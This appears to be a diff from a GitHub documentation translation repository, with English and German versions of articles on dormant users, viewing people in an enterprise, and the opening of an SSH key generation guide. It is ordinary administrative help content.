4. Zum Sperren aller inaktiven Benutzer in dieser Liste klicke im oberen Bereich der Seite auf **Suspend all** (Alle sperren).
![Schaltfläche „Suspend all“ (Alle sperren)](/assets/images/enterprise/site-admin-settings/suspend-all.png){% endif %}
## Determining whether a user account is dormant
## Bestimmen, ob ein Benutzerkonto inaktiv ist
{% data reusables.enterprise_site_admin_settings.access-settings %}
{% data reusables.enterprise_site_admin_settings.search-user %}
{% data reusables.enterprise_site_admin_settings.click-user %}
5. In the **User info** section, a red dot with the word "Dormant" indicates the user account is dormant, and a green dot with the word "Active" indicates the user account is active.
![Dormant user account](/assets/images/enterprise/stafftools/dormant-user.png)
![Active user account](/assets/images/enterprise/stafftools/active-user.png)
{% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.search-user %} {% data reusables.enterprise_site_admin_settings.click-user %}
5. Im Abschnitt **User info** (Benutzerinformationen) gibt ein roter Punkt mit dem Wort „Dormant“ (Inaktiv) an, dass das Benutzerkonto inaktiv ist, und ein grüner Punkt mit dem Wort „Active“ (Aktiv) gibt an, dass es aktiv ist.
![Inaktives Benutzerkonto](/assets/images/enterprise/stafftools/dormant-user.png)
![Aktives Benutzerkonto](/assets/images/enterprise/stafftools/active-user.png)
## Configuring the dormancy threshold
## Inaktivitätsschwelle konfigurieren
{% data reusables.enterprise_site_admin_settings.dormancy-threshold %}
{% data reusables.enterprise-accounts.access-enterprise %}
{% data reusables.enterprise-accounts.policies-tab %}
{% data reusables.enterprise-accounts.options-tab %}
4. Under "Dormancy threshold", use the drop-down menu, and click the desired dormancy threshold.
![The Dormancy threshold drop-down menu](/assets/images/enterprise/site-admin-settings/dormancy-threshold-menu.png)
{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.policies-tab %} {% data reusables.enterprise-accounts.options-tab %}
4. Verwende unter „Dormancy threshold“ (Inaktivitätsschwelle) das Dropdownmenü, und klicke auf die gewünschte Inaktivitätsschwelle.
![Das Dropdownmenü „Dormancy threshold“ (Inaktivitätsschwelle)](/assets/images/enterprise/site-admin-settings/dormancy-threshold-menu.png)
{% endif %}
{% ifversion ghec %}
## Downloading the dormant users report from your enterprise account
## Herunterladen des Berichts zu inaktiven Benutzer*innen aus deinem Unternehmenskonto
{% data reusables.enterprise-accounts.access-enterprise %}
{% data reusables.enterprise-accounts.enterprise-accounts-compliance-tab %}
1. To download your Dormant Users (beta) report as a CSV file, under "Other", click {% octicon "download" aria-label="The Download icon" %} **Download**.
![Download button under "Other" on the Compliance page](/assets/images/help/business-accounts/dormant-users-download-button.png)
{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.enterprise-accounts-compliance-tab %}
1. Wenn du deinen (Beta)-Bericht „Dormant Users“ (Inaktive Benutzer) als CSV-Datei herunterladen möchtest, klicke unter „Other“ (Sonstiges) auf {% octicon "download" aria-label="The Download icon" %} **Download** (Herunterladen).
![Schaltfläche „Download“ (Herunterladen ) unter „Other“ (Sonstiges) auf der Seite „Compliance“](/assets/images/help/business-accounts/dormant-users-download-button.png)
{% tip %}
**Tip:**
For the purposes of assessing user dormancy, user activity is scoped to include only user activity associated with organizations, repositories, or sign-on events that are associated with the enterprise. For example, if a user has recently commented on an issue in a public repository not associated with the enterprise, they may be considered dormant. However, if they have recently commented on an issue in a public repository associated with an organization in your enterprise, they will not be considered dormant and will not appear in the Dormant User report.
**Tipp:** Bei der Bewertung der Benutzerinaktivität wird die Benutzeraktivität auf nur solche Aktivitäten beschränkt, die im Zusammenhang mit Organisationen, Repositorys oder Anmeldeereignissen stehen, die dem Unternehmen zugeordnet sind. Wenn ein*e Benutzer*in beispielsweise kürzlich ein Issue in einem öffentlichen Repository kommentiert hat, das nicht dem Unternehmen zugeordnet ist, kann der oder die Benutzer*in als ruhend angesehen werden. Wenn der oder die Benutzer*in jedoch kürzlich ein Issue in einem öffentlichen Repository kommentiert hat, das einer Organisation in deinem Unternehmen zugeordnet ist, wird er oder sie nicht als inaktiv betrachtet und nicht im Bericht „Inaktive Benutzer“ aufgeführt.
In the case of web sign-on events, only sign-on events through via an SSO domain associated with your enterprise are considered user activity associated with the enterprise.
Bei Webanmeldungsereignissen gelten nur Anmeldeereignisse über eine SSO-Domäne, die deinem Unternehmen zugeordnet ist, als Benutzeraktivität im Zusammenhang mit dem Unternehmen.
{% endtip %}

Просмотреть файл

@ -1,6 +1,6 @@
---
title: Viewing people in your enterprise
intro: 'To audit access to enterprise-owned resources or user license usage, enterprise owners can view every administrator and member of the enterprise.'
title: Anzeigen von Personen in deinem Unternehmen
intro: 'Um den Zugriff auf unternehmenseigene Ressourcen oder die Verwendung der Benutzerlizenzen zu überwachen, können Unternehmensinhaber*innen alle Administrator*innen und Mitglieder des Unternehmens anzeigen.'
permissions: Enterprise owners can view the people in an enterprise.
redirect_from:
- /github/setting-up-and-managing-your-enterprise-account/viewing-people-in-your-enterprise-account
@ -14,147 +14,140 @@ versions:
topics:
- Enterprise
shortTitle: View people in your enterprise
ms.openlocfilehash: 1c9b8402a0924c799f4747cf5a6cdae051aa4a49
ms.sourcegitcommit: 6b649e03ca2fef38c9ebbeec92102219849380e2
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 10/31/2022
ms.locfileid: '148120593'
---
## Informationen zur Liste der Personen in deinem Unternehmen
## About the list of people in your enterprise
Um den Zugriff auf die Ressourcen deines Unternehmens zu überwachen und die Lizenznutzung zu verwalten, kannst du eine Liste aller Personen anzeigen, die Zugriff auf dein Unternehmen haben.
To audit access to your enterprise's resources and manage license usage, you can see a list of all the people who have access to your enterprise.
You can see all current enterprise members and enterprise administrators{% ifversion ghec %}, as well as pending invitations to become members and administrators{% endif %}. To make it easier to consume this information, you can search and filter the lists.
Du kannst alle aktuellen Unternehmensmitglieder und Unternehmensadministratoren anzeigen{% ifversion ghec %} sowie ausstehende Einladungen, Mitglieder und Administratoren zu werden{% endif %}. Um diese Informationen einfacher zu nutzen, kannst du die Listen durchsuchen und filtern.
{% ifversion ghec %}
If {% data variables.product.prodname_github_connect %} is configured for your enterprise, when you filter a list of people in your enterprise, the following limitations apply.
Wenn {% data variables.product.prodname_github_connect %} für dein Unternehmen konfiguriert ist, gelten beim Filtern der Liste der Unternehmensmitglieder die folgenden Einschränkungen.
- The filter for two-factor authentication (2FA) status does not show people who only have an account on a {% data variables.product.prodname_ghe_server %} instance.
- If you combine the filter for accounts on {% data variables.product.prodname_ghe_server %} instances with either the filter for organizations or 2FA status, you will not see any results.
- Der Filter für den Status der zweistufigen Authentifizierung zeigt keine Benutzer*innen an, die nur ein Konto auf einer {% data variables.product.prodname_ghe_server %}-Instanz besitzen.
- Wenn du den Filter für Konten auf {% data variables.product.prodname_ghe_server %}-Instanzen mit dem Filter für Organisationen oder den Status der zweistufigen Authentifizierung kombinierst, werden keine Ergebnisse zurückgegeben.
For more information about {% data variables.product.prodname_github_connect %}, see the following articles.
Weitere Informationen zu {% data variables.product.prodname_github_connect %} findest du in den folgenden Artikeln.
- "[About {% data variables.product.prodname_github_connect %}](/enterprise-server/admin/configuration/configuring-github-connect/about-github-connect)" in the {% data variables.product.prodname_ghe_server %} documentation
- "[About {% data variables.product.prodname_github_connect %}](/github-ae@latest/admin/configuration/configuring-github-connect/about-github-connect)" in the {% data variables.product.prodname_ghe_managed %} documentation
- [Informationen zu {% data variables.product.prodname_github_connect %}](/enterprise-server/admin/configuration/configuring-github-connect/about-github-connect) findest du in der {% data variables.product.prodname_ghe_server %}-Dokumentation.
- [Informationen zu {% data variables.product.prodname_github_connect %}](/github-ae@latest/admin/configuration/configuring-github-connect/about-github-connect) findest du in der Dokumentation zu {% data variables.product.prodname_ghe_managed %}.
{% endif %}
{% ifversion enterprise-member-csv %}
You can also export membership information for your enterprise. For more information, see "[Exporting membership information for your enterprise](/admin/user-management/managing-users-in-your-enterprise/exporting-membership-information-for-your-enterprise)."
{% ifversion enterprise-member-csv %} Du kannst auch Mitgliedschaftsinformationen für dein Unternehmen exportieren. Weitere Informationen findest du unter [Exportieren von Mitgliedschaftsinformationen für dein Unternehmen](/admin/user-management/managing-users-in-your-enterprise/exporting-membership-information-for-your-enterprise).
{% endif %}
## Viewing enterprise administrators
## Anzeigen von Unternehmensadministratoren
You can view all the current enterprise owners{% ifversion ghec %} and billing managers{% endif %} for your enterprise.{% ifversion enterprise-membership-view-improvements %} You can see useful information about each administrator{% ifversion ghec %} and filter the list by role{% endif %}.{% endif %} You can find a specific person by searching for their username or display name.
Du kannst alle aktuellen Unternehmensinhaber*innen{% ifversion ghec %} und Abrechnungsmanager{% endif %} für dein Unternehmen anzeigen.{% ifversion enterprise-membership-view-improvements %} Du kannst nützliche Informationen über alle Administrator*innen anzeigen{% ifversion ghec %} und die Liste nach Rollen filtern{% endif %}.{% endif %} Du kannst eine bestimmte Person finden, indem du nach ihrem Benutzer- oder Anzeigenamen suchst.
{% ifversion ghes > 3.5 %}
Enterprise owners whose accounts are suspended are included in the list of enterprise administrators, and are identified as suspended. You should consider demoting any suspended owners you see. For more information, see "[Promoting or demoting a site administrator](/admin/user-management/managing-users-in-your-enterprise/promoting-or-demoting-a-site-administrator#demoting-a-site-administrator-from-the-enterprise-settings)."
{% ifversion ghes > 3.5 %} Unternehmensinhaber*innen, deren Konten gesperrt wurden, sind in der Liste der Unternehmensadministrator*innen enthalten und werden als gesperrt ausgewiesen. Du solltest alle gesperrten Inhaber*innen herabstufen, die du siehst. Weitere Informationen findest du unter [Hochstufen oder Zurückstufen eines Websiteadministrators](/admin/user-management/managing-users-in-your-enterprise/promoting-or-demoting-a-site-administrator#demoting-a-site-administrator-from-the-enterprise-settings).
{% endif %}
{% ifversion not ghae %}
You can also remove an administrator. For more information. see "[Inviting people to manage your enterprise](/admin/user-management/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise#removing-an-enterprise-administrator-from-your-enterprise-account)."
{% ifversion not ghae %} Du kannst auch Administrator*innen entfernen. Weitere Informationen. Findest du unter [Einladen von Personen zum Verwalten deines Unternehmens](/admin/user-management/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise#removing-an-enterprise-administrator-from-your-enterprise-account).
{% endif %}
{% data reusables.enterprise-accounts.access-enterprise %}
{% data reusables.enterprise-accounts.people-tab %}
{% data reusables.enterprise-accounts.administrators-tab %}
{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.people-tab %} {% data reusables.enterprise-accounts.administrators-tab %}
## Viewing members {% ifversion enterprise-membership-view-improvements %}{% else %}and outside collaborators{% endif %}
## Anzeigen von Mitgliedern {% ifversion enterprise-membership-view-improvements %}{% else %}und externen Mitarbeiter*innen{% endif %}
You can see all the current members {% ifversion enterprise-membership-view-improvements %}{% else %}or outside collaborators{% endif %} for your enterprise. You can see useful information about each account and filter the list in useful ways, such as by role. You can find a specific person by searching for their username or display name.
Du kannst alle aktuellen Mitglieder {% ifversion enterprise-membership-view-improvements %}{% else %}oder externen Mitarbeiter*innen{% endif %} deines Unternehmens anzeigen. Zu jedem Konto kannst du nützliche Informationen anzeigen und die Liste sinnvoll filtern, z. B. nach Rolle. Du kannst eine bestimmte Person nach ihrem Benutzernamen oder Anzeigenamen suchen.
You can view more information about the person's access to your enterprise, such as the organizations the person belongs to, by clicking on the person's name.
Du kannst weitere Informationen zum Zugriff der Person auf dein Unternehmen anzeigen, z. B. die Organisationen, zu der die Person gehört, indem du auf den Namen der Person klickst.
{% ifversion remove-enterprise-members %}
You can also remove any enterprise member from all organizations owned by the enterprise. For more information, see "[Removing a member from your enterprise](/admin/user-management/managing-users-in-your-enterprise/removing-a-member-from-your-enterprise)."
{% ifversion remove-enterprise-members %} Du kannst auch alle Unternehmensmitglieder aus allen Organisationen entfernen, die dem Unternehmen gehören. Weitere Informationen findest du unter [Entfernen eines Mitglieds aus deinem Unternehmen](/admin/user-management/managing-users-in-your-enterprise/removing-a-member-from-your-enterprise).
{% endif %}
{% data reusables.enterprise-accounts.access-enterprise %}
{% data reusables.enterprise-accounts.people-tab %}{% ifversion enterprise-membership-view-improvements %}{% else %}
1. Optionally, to view a list of outside collaborators rather than the list of members, click **Outside collaborators**.
{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.people-tab %}{% ifversion enterprise-membership-view-improvements %}{% else %}
1. Optional kannst du eine Liste der externen Projektmitarbeiter*innen anstatt der Liste der Mitglieder anzeigen, indem du auf **Externe Projektmitarbeiter** klickst.
![Outside collaborators tab on the enterprise members page](/assets/images/help/business-accounts/outside-collaborators-tab.png){% endif %}
![Registerkarte „Externe Mitarbeiter“ auf der Seite „Unternehmensmitglieder“](/assets/images/help/business-accounts/outside-collaborators-tab.png){% endif %}
{% ifversion enterprise-membership-view-improvements %}
## Viewing outside collaborators
## Anzeigen externer Mitarbeiter
You can see all the current outside collaborators for your enterprise. You can see useful information about each collaborator and filter the list in useful ways, such as by organization. You can find a specific collaborator by searching for their username or display name.
Du kannst alle aktuellen externen Mitarbeiter für dein Unternehmen anzeigen. Zu jedem Mitarbeiter kannst du nützliche Informationen anzeigen und die Liste sinnvoll filtern, z. B. nach Organisation. Du kannst einen bestimmten Mitarbeiter nach seinem Benutzer- oder Anzeigenamen suchen.
You can view more information about the person's access to your enterprise, such as a list of all the repositories the collaborator has access to, by clicking on the person's name.
Du kannst weitere Informationen zum Zugriff der Person auf dein Unternehmen anzeigen, z. B. eine Liste aller Repositorys, auf die der Mitarbeiter Zugriff hat, indem du auf den Namen der Person klickst.
{% data reusables.enterprise-accounts.access-enterprise %}
{% data reusables.enterprise-accounts.people-tab %}
1. Under "People", click **Outside collaborators**.
{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.people-tab %}
1. Klicke unter „Personen“ auf **Externe Mitarbeiter**.
![Outside collaborators tab in the enterprise settings sidebar]{% ifversion ghec%}(/assets/images/help/business-accounts/outside-collaborators-tab-sidebar-dotcom.png){% else %}(/assets/images/help/business-accounts/outside-collaborators-tab-sidebar-dotcom.png){% endif %}
![Registerkarte „Externe Mitarbeiter“ in der Seitenleiste der Unternehmenseinstellungen]{% ifversion ghec%}(/assets/images/help/business-accounts/outside-collaborators-tab-sidebar-dotcom.png){% else %}(/assets/images/help/business-accounts/outside-collaborators-tab-sidebar-dotcom.png){% endif %}
{% endif %}
{% ifversion ghec %}
## Viewing pending invitations
## Anzeigen ausstehender Einladungen
You can see all the pending invitations to become members, administrators, or outside collaborators in your enterprise. You can filter the list in useful ways, such as by organization. You can find a specific person by searching for their username or display name.
Du kannst alle ausstehenden Einladungen, Mitglied, Administrator*in oder externe Mitarbeiter*in in deinem Unternehmen zu werden, anzeigen. Du kannst die Liste sinnvoll filtern, z. B. nach Organisation. Du kannst eine bestimmte Person nach ihrem Benutzernamen oder Anzeigenamen suchen.
In the list of pending members, for any individual account, you can cancel all invitations to join organizations owned by your enterprise. This does not cancel any invitations for that same person to become an enterprise administrator or outside collaborator.
In der Liste der ausstehenden Mitglieder kannst du für jedes einzelne Konto alle Einladungen zur Teilnahme an Organisationen im Besitz deines Unternehmens stornieren. Dadurch werden für die jeweilige Person keine Einladungen storniert, Unternehmensadministrator oder externer Mitarbeiter zu werden.
{% note %}
**Note:** If an invitation was provisioned via SCIM, you must cancel the invitation via your identity provider (IdP) instead of on {% data variables.product.prodname_dotcom %}.
**Hinweis:** Wenn eine Einladung über SCIM bereitgestellt wurde, musst du die Einladung über deinen Identitätsanbieter (IdP) anstelle von {% data variables.product.prodname_dotcom %} stornieren.
{% endnote %}
If you use {% data variables.visual_studio.prodname_vss_ghe %}, the list of pending invitations includes all {% data variables.product.prodname_vs %} subscribers that haven't joined any of your organizations on {% data variables.product.prodname_dotcom %}, even if the subscriber does not have a pending invitation to join an organization. For more information about how to get {% data variables.product.prodname_vs %} subscribers access to {% data variables.product.prodname_enterprise %}, see "[Setting up {% data variables.visual_studio.prodname_vss_ghe %}](/billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/setting-up-visual-studio-subscriptions-with-github-enterprise)."
Wenn du {% data variables.visual_studio.prodname_vss_ghe %} verwendest, enthält die Liste der ausstehenden Einladungen alle {% data variables.product.prodname_vs %}-Abonnenten, die noch keiner deiner Organisationen auf {% data variables.product.prodname_dotcom %} beigetreten sind, auch wenn der Abonnent keine ausstehende Einladung zur Mitgliedschaft in einer Organisation hat. Weitere Informationen darüber, wie {% data variables.product.prodname_vs %}-Abonnenten Zugriff auf {% data variables.product.prodname_enterprise %} erhalten, findest du unter [Einrichten von {% data variables.visual_studio.prodname_vss_ghe %}](/billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/setting-up-visual-studio-subscriptions-with-github-enterprise).
{% data reusables.enterprise-accounts.access-enterprise %}
{% data reusables.enterprise-accounts.people-tab %}
1. Under "People", click **Pending invitations**.
{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.people-tab %}
1. Klicke unter „Personen“ auf **Ausstehende Einladungen**.
![Screenshot of the "Pending invitations" tab in the sidebar](/assets/images/help/enterprises/pending-invitations-tab.png)
1. Optionally, to cancel all invitations for an account to join organizations owned by your enterprise, to the right of the account, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, then click **Cancel invitation**.
![Screenshot der Registerkarte „Ausstehende Einladungen“ in der Seitenleiste](/assets/images/help/enterprises/pending-invitations-tab.png)
1. Wenn du optional alle Einladungen zum Beitritt zu Organisationen im Besitz deines Unternehmens für ein Konto kündigen möchtest, klicke rechts neben dem Konto auf {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} und dann auf **Einladung stornieren**.
![Screenshot of the "Cancel invitation" button](/assets/images/help/enterprises/cancel-enterprise-member-invitation.png)
1. Optionally, to view pending invitations for enterprise administrators or outside collaborators, under "Pending members", click **Administrators** or **Outside collaborators**.
![Screenshot der Schaltfläche „Einladung stornieren“](/assets/images/help/enterprises/cancel-enterprise-member-invitation.png)
1. Um optional ausstehende Einladungen für Unternehmensadministratoren oder externe Mitarbeiter anzuzeigen, klicke unter „Ausstehende Mitglieder“ auf **Administratoren** oder **Externe Mitarbeiter**.
![Screenshot of the "Members", "Administrators", and "Outside collaborators" tabs](/assets/images/help/enterprises/pending-invitations-type-tabs.png)
![Screenshot der Registerkarten „Mitglieder“, „Administratoren“ und „Externe Mitarbeiter“](/assets/images/help/enterprises/pending-invitations-type-tabs.png)
## Viewing suspended members in an {% data variables.enterprise.prodname_emu_enterprise %}
## Anzeigen gesperrter Mitglieder in einem {% data variables.enterprise.prodname_emu_enterprise %}
If your enterprise uses {% data variables.product.prodname_emus %}, you can view suspended users. Suspended users are members who have been deprovisioned after being unassigned from the {% data variables.product.prodname_emu_idp_application %} application or deleted from the identity provider. For more information, see "[About {% data variables.product.prodname_emus %}](/admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/about-enterprise-managed-users)."
Wenn dein Unternehmen {% data variables.product.prodname_emus %} verwendet, kannst du gesperrte Benutzer anzeigen. Bei gesperrten Benutzer*innen handelt es sich um Mitglieder, die nicht mehr aktiv sind, nachdem sie einer {% data variables.product.prodname_emu_idp_application %}-Anwendung nicht mehr zugewiesen sind oder aus dem Identitätsanbieter gelöscht wurden. Weitere Informationen findest du unter [Informationen zu {% data variables.product.prodname_emus %}](/admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/about-enterprise-managed-users).
{% data reusables.enterprise-accounts.access-enterprise %}
{% data reusables.enterprise-accounts.people-tab %}
1. To view a list of suspended members, above the list of active members, click **Suspended**.
![Screenshot showing "Suspended" option](/assets/images/help/enterprises/view-suspended-members.png)
{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.people-tab %}
1. Um eine Liste gesperrter Mitglieder oberhalb der Liste der aktiven Mitglieder anzuzeigen, klicke auf **Gesperrt**.
![Screenshot der Option „Gesperrt“](/assets/images/help/enterprises/view-suspended-members.png)
{% endif %}
## Viewing dormant users
## Inaktive Benutzer anzeigen
You can view a list of all dormant users {% ifversion ghes or ghae %} who have not been suspended and {% endif %}who are not site administrators. {% data reusables.enterprise-accounts.dormant-user-activity-threshold %} For more information, see "[Managing dormant users](/admin/user-management/managing-users-in-your-enterprise/managing-dormant-users)."
Du kannst eine Liste aller ruhenden Benutzer*innen {% ifversion ghes or ghae %} anzeigen, die nicht gesperrt wurden und {% endif %}keine Websiteadministrator*innen sind. {% data reusables.enterprise-accounts.dormant-user-activity-threshold %} Weitere Informationen findest du unter [Verwalten ruhender Benutzer](/admin/user-management/managing-users-in-your-enterprise/managing-dormant-users).
{% ifversion filter-by-enterprise-member-type %}
## Filtering by member type{% ifversion ghec %} in an {% data variables.enterprise.prodname_emu_enterprise %}{% endif %}
## Filtern nach Elementtyp{% ifversion ghec %} in einem {% data variables.enterprise.prodname_emu_enterprise %}{% endif %}
{% ifversion ghec %}If your enterprise uses {% data variables.product.prodname_emus %}, you{% elsif ghes or ghae %}You{% endif %} can filter the member list of an organization by type to determine if memberships are managed through an IdP or managed directly. Memberships managed through an IdP were added through an IdP group, and the IdP group was connected to a team within the organization. Memberships managed directly were added to the organization manually. The way a membership is mananaged in an organization determines how it must be removed. You can use this filter to determine how members were added to an organization, so you know how to remove them.{% ifversion ghec %} For more information, see "[About {% data variables.product.prodname_emus %}](/enterprise-cloud@latest/admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/about-enterprise-managed-users#about-organization-membership-management)."{% endif %}
{% ifversion ghec %}Wenn dein Unternehmen {% data variables.product.prodname_emus %} verwendet, kannst du{% elsif ghes or ghae %}Du kannst{% endif %} die Mitgliederliste einer Organisation nach Typ filtern, um festzustellen, ob die Mitgliedschaften über einen IdP oder direkt verwaltet werden. Mitgliedschaften, die über einen IdP verwaltet werden, wurden über eine IdP-Gruppe hinzugefügt, und die IdP-Gruppe wurde mit einem Team innerhalb der Organisation verbunden. Direkt verwaltete Mitgliedschaften wurden der Organisation manuell hinzugefügt. Die Art und Weise, wie eine Mitgliedschaft in einer Organisation verwaltet wird, bestimmt, wie sie entfernt werden muss. Du kannst diesen Filter verwenden, um zu bestimmen, wie Mitglieder einer Organisation hinzugefügt wurden, sodass du weißt, wie du sie entfernen kannst.{% ifversion ghec %} Weitere Informationen findest du unter [Informationen zu {% data variables.product.prodname_emus %}](/enterprise-cloud@latest/admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/about-enterprise-managed-users#about-organization-membership-management). {% endif %}
{% data reusables.enterprise-accounts.access-enterprise %}
1. Under "Organizations," in the search bar, begin typing the organization's name until the organization appears in the search results, then click the name of the organization.
![Screenshot of the search field for organizations](/assets/images/help/enterprises/organization-search.png)
1. Under the organization name, click {% octicon "person" aria-label="The Person icon" %} **People**.
![Screenshot of the People tab](/assets/images/help/enterprises/emu-organization-people-tab.png)
1. Above the list of members, click **Type**, then select the type of members you want to view.
![Screenshot of the "Type" button](/assets/images/help/enterprises/filter-by-member-type.png)
1. Beginne unter „Organisationen“ auf der Suchleiste mit der Eingabe des Namens der gewünschten Organisation, bis die Organisation in den Suchergebnissen angezeigt wird, und klicke dann auf den Namen der Organisation.
![Screenshot: Suchfeld für Organisationen](/assets/images/help/enterprises/organization-search.png)
1. Klicke unter dem Organisationsnamen auf {% octicon "person" aria-label="The Person icon" %} **Personen**.
![Screenshot der Registerkarte „Personen“](/assets/images/help/enterprises/emu-organization-people-tab.png)
1. Klicke oberhalb der Liste der Mitglieder auf **Typ**, und wähle dann den Typ der Mitglieder aus, die du anzeigen möchtest.
![Screenshot der Schaltfläche „Typ“](/assets/images/help/enterprises/filter-by-member-type.png)
{% endif %}
{% ifversion ghec or ghes %}
## Viewing members without an email address from a verified domain
## Anzeigen von Mitgliedern ohne E-Mail-Adresse einer geprüften Domäne
You can view a list of members in your enterprise who don't have an email address from a verified domain associated with their user account on {% data variables.product.prodname_dotcom_the_website %}.
Du kannst eine Liste der Mitglieder in deinem Unternehmen anzeigen, deren Benutzerkonto auf {% data variables.product.prodname_dotcom_the_website %} keine E-Mail-Adresse einer geprüften Domäne zugeordnet ist.
{% data reusables.enterprise-accounts.access-enterprise %}
{% data reusables.enterprise-accounts.settings-tab %}
{% data reusables.enterprise-accounts.verified-domains-tab %}
1. Under "Notification preferences", click the {% octicon "eye" aria-label="The github eye icon" %} **View enterprise members without an approved or verified domain email** link.
{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.verified-domains-tab %}
1. Klicke unter „Benachrichtigungseinstellungen“ auf den {% octicon "eye" aria-label="The github eye icon" %} Link **Unternehmensmitglieder ohne E-Mail-Adresse einer genehmigten oder geprüften Domäne anzeigen**.
{% endif %}
## Further reading
## Weiterführende Themen
- "[Roles in an enterprise](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)"
- [Rollen in einem Unternehmen](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)

Просмотреть файл

@ -1,6 +1,6 @@
---
title: Generating a new SSH key and adding it to the ssh-agent
intro: 'After you''ve checked for existing SSH keys, you can generate a new SSH key to use for authentication, then add it to the ssh-agent.'
title: Generieren eines neuen SSH-Schlüssels und Hinzufügen des Schlüssels zum ssh-agent
intro: 'Wenn du geprüft hast, ob SSH-Schlüssel vorhanden sind, kannst du einen neuen SSH-Schlüssel für die Authentifizierung generieren und zum SSH-Agent hinzufügen.'
redirect_from:
- /articles/adding-a-new-ssh-key-to-the-ssh-agent
- /articles/generating-a-new-ssh-key
@ -15,34 +15,38 @@ versions:
topics:
- SSH
shortTitle: Generate new SSH key
ms.openlocfilehash: 024d74d62b99b6dd94fcecdc835d6094f83234f4
ms.sourcegitcommit: a0ad3bfe2a99c3092e76ca9b3d476cf30988ca55
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 10/28/2022
ms.locfileid: '148118972'
---
## Informationen zu SSH-Schlüsselpassphrasen
## About SSH key passphrases
{% data reusables.ssh.about-ssh %} Weitere Informationen findest du unter [Informationen zu SSH](/authentication/connecting-to-github-with-ssh/about-ssh).
{% data reusables.ssh.about-ssh %} For more information, see "[About SSH](/authentication/connecting-to-github-with-ssh/about-ssh)."
Wenn du einen SSH-Schlüssel generierst, kannst du eine Passphrase hinzufügen, um ihn noch besser zu schützen. Wenn du den Schlüssel verwendest, muss du die Passphrase eingeben. Wenn dein Schlüssel eine Passphrase umfasst und du diese nicht jedes Mal eingeben möchtest, wenn du den Schlüssel verwendest, kannst du diesen dem SSH-Agent hinzufügen. Der SSH-Agent verwaltet deine SSH-Schlüssel und speichert deine Passphrase.
When you generate an SSH key, you can add a passphrase to further secure the key. Whenever you use the key, you must enter the passphrase. If your key has a passphrase and you don't want to enter the passphrase every time you use the key, you can add your key to the SSH agent. The SSH agent manages your SSH keys and remembers your passphrase.
Wenn du noch keinen SSH-Schlüssel hast, musst du einen neuen SSH-Schlüssel generieren, der für die Authentifizierung verwendet werden soll. Wenn du nicht sicher bist, ob du bereits über einen SSH-Schlüssel verfügst, kannst du nach vorhandenen Schlüsseln suchen. Weitere Informationen findest du unter [Überprüfen auf vorhandene SSH-Schlüssel](/authentication/connecting-to-github-with-ssh/checking-for-existing-ssh-keys).
If you don't already have an SSH key, you must generate a new SSH key to use for authentication. If you're unsure whether you already have an SSH key, you can check for existing keys. For more information, see "[Checking for existing SSH keys](/authentication/connecting-to-github-with-ssh/checking-for-existing-ssh-keys)."
Wenn du einen Hardwaresicherheitsschlüssel zum Authentifizieren von {% data variables.product.product_name %} verwenden möchtest, musst du einen neuen SSH-Schlüssel für deinen Hardwaresicherheitsschlüssel generieren. Du musst deinen Hardwaresicherheitsschlüssel mit deinem Computer verbinden, wenn du dich mit dem Schlüsselpaar authentifizierst. Weitere Informationen findest du unter [Versionshinweise zu OpenSSH 8.2](https://www.openssh.com/txt/release-8.2).
If you want to use a hardware security key to authenticate to {% data variables.product.product_name %}, you must generate a new SSH key for your hardware security key. You must connect your hardware security key to your computer when you authenticate with the key pair. For more information, see the [OpenSSH 8.2 release notes](https://www.openssh.com/txt/release-8.2).
## Einen neuen SSH-Schlüssel erzeugen
## Generating a new SSH key
You can generate a new SSH key on your local machine. After you generate the key, you can add the key to your account on {% ifversion fpt or ghec or ghes %}{% data variables.location.product_location %}{% elsif ghae %}{% data variables.product.product_name %}{% endif %} to enable authentication for Git operations over SSH.
Du kannst einen neuen SSH-Schlüssel auf deinem lokalen Computer generieren. Nachdem du den Schlüssel generiert hast, kannst du ihn deinem Konto auf {% ifversion fpt or ghec or ghes %}{% data variables.location.product_location %}{% elsif ghae %}{% data variables.product.product_name %}{% endif %} hinzufügen, um die Authentifizierung für Git-Vorgänge über SSH zu aktivieren.
{% ifversion ghes %}
If you are a site administrator for {% data variables.location.product_location %}, you can use the same key to grant yourself administrative SSH access to the instance. For more information, see "[Accessing the administrative shell (SSH)](/admin/configuration/configuring-your-enterprise/accessing-the-administrative-shell-ssh)."
Wenn du Websiteadministrator für {% data variables.location.product_location %} bist, kannst du dir selbst mit demselben Schlüssel SSH-Administratorzugriff auf die Instanz zu gewähren. Weitere Informationen findest du unter [Zugreifen auf die Verwaltungsshell (SSH)](/admin/configuration/configuring-your-enterprise/accessing-the-administrative-shell-ssh).
{% endif %}
{% data reusables.ssh.key-type-support %}
{% data reusables.command_line.open_the_multi_os_terminal %}
2. Paste the text below, substituting in your {% data variables.product.product_name %} email address.
{%- ifversion ghae %}
<!-- GitHub AE is FIPS 140-2 compliant. FIPS does not yet permit keys that use the ed25519 algorithm. -->
2. Füge den folgenden Text ein, und ergänze dabei deine {% data variables.product.product_name %}-E-Mail-Adresse.
